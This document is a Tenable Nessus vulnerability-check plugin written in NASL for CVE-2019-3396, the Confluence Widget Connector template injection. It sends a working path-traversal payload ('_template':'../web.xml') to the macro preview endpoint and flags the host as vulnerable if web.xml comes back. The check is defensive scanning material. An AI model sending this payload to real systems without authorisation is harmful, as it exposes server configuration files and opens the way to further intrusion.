Atlassian Confluence < 6.6.12 / 6.7.x < 6.12.3 / 6.13.x < 6.13.3 / 6.14.x < 6.14.2 Template Injection

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(124004);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/12/05");

  script_cve_id("CVE-2019-3396");
  script_xref(name:"IAVA", value:"2019-A-0135-S");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/05/03");
  script_xref(name:"CEA-ID", value:"CEA-2020-0129");
  script_xref(name:"CEA-ID", value:"CEA-2019-0265");

  script_name(english:"Atlassian Confluence < 6.6.12 / 6.7.x < 6.12.3 / 6.13.x < 6.13.3 / 6.14.x < 6.14.2 Template Injection");

  script_set_attribute(attribute:"synopsis", value:
"A web application running on the remote host is affected by
a template injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"According to the tests performed by Nessus, the remote host
is affected by the following vulnerability:

  - A server-side template injection exists in the Widget
    Connector due to improper input validation. An attacker
    can exploit this, via unspecified vectors, to traverse
    directories or execute arbitrary code. (CVE-2019-3396)");
  # https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?b8e8304c");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Atlassian Confluence version 6.6.12, 6.12.3, 6.13.3,
6.14.2, 6.15.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-3396");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Confluence File Disclosure");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Atlassian Confluence Widget Connector Macro Velocity Template Injection');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/03/20");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/03/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/04/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:atlassian:confluence");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2019-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("confluence_detect.nasl");
  script_require_keys("installed_sw/confluence");
  script_require_ports("Services/www", 8080, 8090);

  exit(0);
}

include('vcf.inc');
include('http.inc');

app_name = 'confluence';

port = get_http_port(default:8090);

app_info = vcf::get_app_info(app:app_name, port:port, webapp:true);
path = app_info['path'];
if(path[strlen(path)-1] != '/') path += '/';

item   =  path + 'rest/tinymce/1/macro/preview';
header = {'Content-Type':'application/json','User-Agent':''};
data   = '{"contentId":"1337","macro":{"name":"widget","body":"","params":' +
         '{"url":"http://localhost//www.youtube.com/watch?v=w0gtNxBWIEY","width":"1000","height":"1000","_template":"../web.xml"}}}';

res = http_send_recv3(method:'POST', item:item, port:port, add_headers:header, data:data, exit_on_fail:TRUE);

if('</web-app>' >< res[2])
  security_report_v4(severity:SECURITY_HOLE, port:port, generic:TRUE, request:[http_last_sent_request()]);
else
  audit(AUDIT_WEB_APP_NOT_AFFECTED, 'Atlassian Confluence', build_url(qs:path, port:port));